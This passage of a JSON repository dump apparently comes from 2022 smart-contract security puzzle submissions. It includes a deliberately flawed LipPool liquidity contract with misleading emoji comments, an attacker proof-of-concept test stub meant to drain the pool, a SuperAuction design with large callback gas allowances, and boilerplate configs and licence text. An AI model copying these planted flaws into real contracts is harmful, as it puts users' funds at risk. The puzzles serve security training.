    "content": "// ignores the proxy tests\n\nconst { internalTask } = require('hardhat/config');\n\nconst { TASK_TEST_GET_TEST_FILES } = require('hardhat/builtin-tasks/task-names');\nconst glob = require('glob');\nconst path = require('path');\nconst { promisify } = require('util');\n\ninternalTask(TASK_TEST_GET_TEST_FILES)\n  .setAction(async ({ testFiles }, { config }) => {\n    if (testFiles.length !== 0) {\n      return testFiles;\n    }\n    return await promisify(glob)(\n      path.join(config.paths.tests, '**/*.js'),\n      { ignore: [path.join(config.paths.tests, 'proxy/**/*')] },\n    );\n  });\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/hardhat.config.js",
    "content": "/// ENVVAR\n// - CI:                output gas report to file instead of stdout\n// - COVERAGE:          enable coverage report\n// - ENABLE_GAS_REPORT: enable gas report\n// - COMPILE_MODE:      production modes enables optimizations (default: development)\n// - COMPILE_VERSION:   compiler version (default: 0.8.3)\n// - COINMARKETCAP:     coinmarkercat api key for USD value in gas report\n\nconst fs = require('fs');\nconst path = require('path');\nconst argv = require('yargs/yargs')()\n  .env('')\n  .options({\n    ci: {\n      type: 'boolean',\n      default: false,\n    },\n    coverage: {\n      type: 'boolean',\n      default: false,\n    },\n    gas: {\n      alias: 'enableGasReport',\n      type: 'boolean',\n      default: false,\n    },\n    mode: {\n      alias: 'compileMode',\n      type: 'string',\n      choices: [ 'production', 'development' ],\n      default: 'development',\n    },\n    compiler: {\n      alias: 'compileVersion',\n      type: 'string',\n      default: '0.8.3',\n    },\n    coinmarketcap: {\n      alias: 'coinmarketcapApiKey',\n      type: 'string',\n    },\n  })\n  .argv;\n\nrequire('@nomiclabs/hardhat-truffle5');\n\nif (argv.enableGasReport) {\n  require('hardhat-gas-reporter');\n}\n\nfor (const f of fs.readdirSync(path.join(__dirname, 'hardhat'))) {\n  require(path.join(__dirname, 'hardhat', f));\n}\n\nconst withOptimizations = argv.enableGasReport || argv.compileMode === 'production';\n\n/**\n * @type import('hardhat/config').HardhatUserConfig\n */\nmodule.exports = {\n  solidity: {\n    version: argv.compiler,\n    settings: {\n      optimizer: {\n        enabled: withOptimizations,\n        runs: 200,\n      },\n    },\n  },\n  networks: {\n    hardhat: {\n      blockGasLimit: 10000000,\n      allowUnlimitedContractSize: !withOptimizations,\n    },\n  },\n  gasReporter: {\n    currency: 'USD',\n    outputFile: argv.ci ? 'gas-report.txt' : undefined,\n    coinmarketcap: argv.coinmarketcap,\n  },\n};\n\nif (argv.coverage) {\n  require('solidity-coverage');\n  module.exports.networks.hardhat.initialBaseFeePerGas = 0;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/migrations/.gitkeep",
    "content": ""
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/netlify.toml",
    "content": "[build]\ncommand = \"npm run docs\"\npublish = \"build/site\"\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/package.json",
    "content": "{\n  \"private\": true,\n  \"name\": \"openzeppelin-solidity\",\n  \"description\": \"Secure Smart Contract library for Solidity\",\n  \"version\": \"4.4.2\",\n  \"files\": [\n    \"/contracts/**/*.sol\",\n    \"/build/contracts/*.json\",\n    \"!/contracts/mocks/**/*\"\n  ],\n  \"bin\": {\n    \"openzeppelin-contracts-migrate-imports\": \"scripts/migrate-imports.js\"\n  },\n  \"scripts\": {\n    \"compile\": \"hardhat compile\",\n    \"coverage\": \"env COVERAGE=true hardhat coverage\",\n    \"docs\": \"oz-docs\",\n    \"docs:watch\": \"npm run docs watch contracts 'docs/*.hbs' docs/helpers.js\",\n    \"prepare-docs\": \"scripts/prepare-docs.sh\",\n    \"lint\": \"npm run lint:js && npm run lint:sol\",\n    \"lint:fix\": \"npm run lint:js:fix && npm run lint:sol:fix\",\n    \"lint:js\": \"eslint --ignore-path .gitignore .\",\n    \"lint:js:fix\": \"eslint --ignore-path .gitignore . --fix\",\n    \"lint:sol\": \"solhint 'contracts/**/*.sol' && prettier -c 'contracts/**/*.sol'\",\n    \"lint:sol:fix\": \"prettier --write \\\"contracts/**/*.sol\\\"\",\n    \"clean\": \"hardhat clean && rimraf build contracts/build\",\n    \"prepare\": \"npm run clean && env COMPILE_MODE=production npm run compile\",\n    \"prepack\": \"scripts/prepack.sh\",\n    \"release\": \"scripts/release/release.sh\",\n    \"version\": \"scripts/release/version.sh\",\n    \"test\": \"hardhat test\",\n    \"test:inheritance\": \"node scripts/inheritanceOrdering artifacts/build-info/*\",\n    \"gas-report\": \"env ENABLE_GAS_REPORT=true npm run test\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts.git\"\n  },\n  \"keywords\": [\n    \"solidity\",\n    \"ethereum\",\n    \"smart\",\n    \"contracts\",\n    \"security\",\n    \"zeppelin\"\n  ],\n  \"author\": \"OpenZeppelin Community <maintainers@openzeppelin.org>\",\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts/issues\"\n  },\n  \"homepage\": \"https://openzeppelin.com/contracts/\",\n  \"devDependencies\": {\n    \"@nomiclabs/hardhat-truffle5\": \"^2.0.0\",\n    \"@nomiclabs/hardhat-web3\": \"^2.0.0\",\n    \"@openzeppelin/docs-utils\": \"^0.1.0\",\n    \"@openzeppelin/test-helpers\": \"^0.5.13\",\n    \"@truffle/abi-utils\": \"^0.2.3\",\n    \"chai\": \"^4.2.0\",\n    \"eslint\": \"^6.5.1\",\n    \"eslint-config-standard\": \"^14.1.1\",\n    \"eslint-plugin-import\": \"^2.20.0\",\n    \"eslint-plugin-mocha-no-only\": \"^1.1.0\",\n    \"eslint-plugin-node\": \"^10.0.0\",\n    \"eslint-plugin-promise\": \"^4.2.1\",\n    \"eslint-plugin-standard\": \"^4.0.1\",\n    \"eth-sig-util\": \"^3.0.0\",\n    \"ethereumjs-util\": \"^7.0.7\",\n    \"ethereumjs-wallet\": \"^1.0.1\",\n    \"glob\": \"^7.2.0\",\n    \"graphlib\": \"^2.1.8\",\n    \"hardhat\": \"^2.0.6\",\n    \"hardhat-gas-reporter\": \"^1.0.4\",\n    \"keccak256\": \"^1.0.2\",\n    \"lodash.startcase\": \"^4.4.0\",\n    \"lodash.zip\": \"^4.2.0\",\n    \"merkletreejs\": \"^0.2.13\",\n    \"micromatch\": \"^4.0.2\",\n    \"prettier\": \"^2.3.0\",\n    \"prettier-plugin-solidity\": \"^1.0.0-beta.16\",\n    \"rimraf\": \"^3.0.2\",\n    \"semver\": \"^7.3.5\",\n    \"solhint\": \"^3.3.6\",\n    \"solidity-ast\": \"^0.4.25\",\n    \"solidity-coverage\": \"^0.7.11\",\n    \"solidity-docgen\": \"^0.5.3\",\n    \"web3\": \"^1.3.0\",\n    \"yargs\": \"^16.2.0\"\n  }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts-upgradeable/renovate.json",
    "content": "{\n  \"extends\": [\n    \"github>OpenZeppelin/code-style\"\n  ],\n  \"packageRules\": [\n    {\n      \"extends\": [\"packages:eslint\"],\n      \"enabled\": false\n    }\n  ]\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/src/LipPool.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.11;\n\nimport \"openzeppelin-contracts/token/ERC20/ERC20.sol\";\nimport \"openzeppelin-contracts/security/ReentrancyGuard.sol\";\nimport \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport \"openzeppelin-contracts/token/ERC20/IERC20.sol\";\nimport \"openzeppelin-contracts/token/ERC20/utils/SafeERC20.sol\";\n\ncontract LipPool is ERC20, ReentrancyGuard, Initializable {\n  using SafeERC20 for IERC20;\n\n  IERC20 a;\n  IERC20 b;\n\n  constructor(address a_, address b_) ERC20(\"LIP-LP\", \"LIP-LP\"){\n    a = IERC20(a_);\n    b = IERC20(b_);\n  }\n  \n  modifier checkInvarients() {\n    _;\n    // Ensure proportions can always be calculated.\n    require(totalSupply() > 1e18);\n    require(a.balanceOf(address(this)) > 1e18);\n    require(b.balanceOf(address(this)) > 1e18);\n  }\n\n  function initialize() external initializer nonReentrant checkInvarients {\n    _mint(msg.sender, 1e24);\n    a.safeTransferFrom(msg.sender, address(this), 1000 * 1e18);\n    b.safeTransferFrom(msg.sender, address(this), 10000 * 1e18);\n  }\n\n  function addLiquidity(uint256 amount) external nonReentrant checkInvarients {\n    uint256 factor = amount * 1e36 / totalSupply();\n    // 💖💖 YOU are AMAZING!!!! 💞✨ \n    // 💖💖 YOU are the FUTURE!!!! 👩‍🔬🔬\n    // 💖💖 YOU are BEAUTIFUL!!!! 💋👸🏼\n    factor = factor * 107 / 100; // Reward early holders\n    uint256 aAmount = a.balanceOf(address(this)) * factor / 1e36;\n    uint256 bAmount = b.balanceOf(address(this)) * factor / 1e36;\n\n    _mint(msg.sender, amount);\n    a.safeTransferFrom(msg.sender, address(this), aAmount);\n    b.safeTransferFrom(msg.sender, address(this), bAmount);\n  }\n\n  function removeLiquidity(uint256 amount) external nonReentrant checkInvarients {\n    uint256 factor = amount * 1e36 / totalSupply();\n    uint256 aAmount = a.balanceOf(address(this)) * factor / 1e36;\n    uint256 bAmount = b.balanceOf(address(this)) * factor / 1e36;\n\n    _burn(msg.sender, amount);\n    a.safeTransfer(msg.sender, aAmount);\n    b.safeTransfer(msg.sender, bAmount);\n  }\n\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/src/MockToken.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.11;\n\nimport \"openzeppelin-contracts/token/ERC20/ERC20.sol\";\n\ncontract MockToken is ERC20 {\n  constructor(string memory name_, string memory symbol_) ERC20(name_,symbol_){}\n  function mintTo(address to, uint256 amount) external {\n    _mint(to, amount);\n  }\n}\n\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/src/test/Contract.t.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.11;\n\nimport \"ds-test/test.sol\";\nimport \"../MockToken.sol\";\nimport \"../LipPool.sol\";\n\ncontract ContractTest is DSTest {\n  MockToken a; \n  MockToken b;\n  LipPool pool;\n  PoolUser firstHolder;\n  PoolUser aviatrix;\n  PoolUser socialite;\n  PoolUser attacker;\n\n\n  function setUp() public {\n    a = new MockToken(\"LIP\",\"LIP\");\n    b = new MockToken(\"DAI\",\"DAI\");\n    pool = new LipPool(address(a), address(b));\n\n    firstHolder = new PoolUser(address(a), address(b));\n    firstHolder.initializePool(pool);\n\n    aviatrix = new PoolUser(address(a), address(b));\n    socialite = new PoolUser(address(a), address(b));\n\n    attacker = new PoolUser(address(a), address(b));\n\n  }\n\n  function testPOC() public{\n    uint256 amount = 1e24;\n    uint256 startingCash = 1e23;\n    a.mintTo(address(attacker), startingCash);\n    b.mintTo(address(attacker), startingCash);\n\n    // -----\n    // ** Insert hack transactions by attacker below: **\n    // -----\n    attacker.addLiquidity(pool, amount);\n    // ..?\n\n    // And afterwords:\n    // Pool should be be drained\n    // assertLt(a.balanceOf(address(pool)), 100 * 1e18, \"Pool not drained\");\n    // assertLt(b.balanceOf(address(pool)), 100 * 1e18, \"Pool not drained\");\n    // Attacker should have more than they started with\n    // assertGt(a.balanceOf(address(attacker)), startingCash, \"Attacker should be richer\");\n    // assertGt(b.balanceOf(address(attacker)), startingCash, \"Attacker should be richer\");\n  }\n\n  function testTestSetup() public {\n    assertEq(pool.totalSupply(), 1e24);\n    assertEq(pool.balanceOf(address(firstHolder)), 1e24);\n    assertEq(a.balanceOf(address(firstHolder)), 0);\n    assertEq(b.balanceOf(address(firstHolder)), 0);\n  }\n\n  function testFuzzAddingAndRemovingLiquidity(uint256 amount) public {\n    if(amount > 1e36){\n      return;\n    }\n    a.mintTo(address(aviatrix), 1e70);\n    b.mintTo(address(aviatrix), 1e70);\n    \n    aviatrix.addLiquidity(pool, amount);\n    aviatrix.removeLiquidity(pool, amount);\n\n    // Adding then removing should aways lose money!\n    assertLt(a.balanceOf(address(aviatrix)), 1e70);\n    assertLt(b.balanceOf(address(aviatrix)), 1e70);\n  }\n\n  function testFuzzAddingAndRemovingLiquidityAtDifferentRatios(uint256 amount, uint256 extraA, uint256 extraB) public {\n    if(amount > 1e36){\n      return;\n    }\n    if(extraA > 1e36){\n      return;\n    }\n    if(extraB > 1e36){\n      return;\n    }\n\n    // First give the pool some amount of each token, to represent both profit and changing prices\n    a.mintTo(address(pool), extraA);\n    b.mintTo(address(pool), extraB);\n\n    // Give test user funds\n    a.mintTo(address(aviatrix), 1e70);\n    b.mintTo(address(aviatrix), 1e70);\n    \n    // Add and remove\n    aviatrix.addLiquidity(pool, amount);\n    aviatrix.removeLiquidity(pool, amount);\n\n    // Adding then removing should aways lose money!\n    assertLt(a.balanceOf(address(aviatrix)), 1e70);\n    assertLt(b.balanceOf(address(aviatrix)), 1e70);\n  }\n\n  \n\n  function testAddLiquidity() public {\n    a.mintTo(address(aviatrix), 2000 * 1e18);\n    b.mintTo(address(aviatrix), 20000 * 1e18);\n    aviatrix.addLiquidity(pool, 1e24);\n\n    assertEq(pool.balanceOf(address(aviatrix)), 1e24);\n  }\n\n  function testRemoveLiquidity() public {\n    a.mintTo(address(aviatrix), 2000 * 1e18);\n    b.mintTo(address(aviatrix), 20000 * 1e18);\n    aviatrix.addLiquidity(pool, 1e24);\n    assertEq(pool.balanceOf(address(aviatrix)), 1e24);\n\n    aviatrix.removeLiquidity(pool, 1e24);\n    assertEq(pool.balanceOf(address(aviatrix)), 0);\n  }\n\n  function testEarlyProfit() public {\n    a.mintTo(address(aviatrix), 2000 * 1e18);\n    b.mintTo(address(aviatrix), 20000 * 1e18);\n    a.mintTo(address(socialite), 4000 * 1e18);\n    b.mintTo(address(socialite), 40000 * 1e18);\n    \n\n    aviatrix.addLiquidity(pool, 1e24);\n    socialite.addLiquidity(pool, 2e24);\n    aviatrix.removeLiquidity(pool, 1e24);\n\n    // Profit from being early\n    assertGt(a.balanceOf(address(aviatrix)), 2000 * 1e18);\n    assertGt(b.balanceOf(address(aviatrix)), 20000 * 1e18);\n  }\n\n}\n\n\n// Helper contract for tests\ncontract PoolUser{\n    MockToken a; \n    MockToken b;\n\n    constructor(address a_, address b_){\n        a = MockToken(a_);\n        b = MockToken(b_);\n    }\n\n    function approve(LipPool pool) public {\n       a.approve(address(pool), type(uint256).max);\n       b.approve(address(pool), type(uint256).max); \n    }\n\n    function addLiquidity(LipPool pool, uint256 amount) public {\n       approve(pool);\n      pool.addLiquidity(amount);\n    }\n\n    function removeLiquidity(LipPool pool, uint256 amount) public {\n      pool.approve(address(pool), type(uint256).max); \n      pool.removeLiquidity(amount);\n    }\n\n    function initializePool(LipPool pool) public {\n        approve(pool);\n        a.mintTo(address(this), 1000 * 1e18);\n        b.mintTo(address(this), 10000 * 1e18);\n        pool.initialize();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/README",
    "content": "SuperAuction\n------------\n\nThis is a simple NFT Auction. An NFT can be bought for ETH. Whenever a new highest bidder comes along the bid is split and sent to the previously highest bidder and their predecessor. If no bid has been made for a day, the auction ends. This simple auction has many great advantages:\n- Almost everyone benefits: Even if you get outbid, you will receive a higher amount than you contributed.\n- Only exception is the runner-up. Hence, nobody want's to be runner-up and the bidding keeps going!\n\nThis contract is designed for bots to outbid each other! Hence, the previous bidders receive callbacks with large gas allowances of 6 million each. That way they can directly counter a bid. We assume that gas is cheap, and so everyone is fine paying for these allowances and that the block gas limit is 30 million. Hence, two times 6 million is comfortably below the limit.\n\nWhen funds are paid back the procedure is:\n1. Try to call \"youHaveBeenOutbid\" function for previous bidder\n2. Try to send ETH\n3. If the previous bidder is unable to receive ETH, the ETH is donated.\n\n\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/foundry.toml",
    "content": "[default]\nsrc = 'src'\nout = 'out'\nlibs = ['lib']\nremappings = [\n    'ds-test/=lib/ds-test/src/',\n    'ds-test/=lib/ds-test/src/',\n]\n\n# See more config options https://github.com/gakonst/foundry/tree/master/config"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission12_HubertRitzdorf/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or 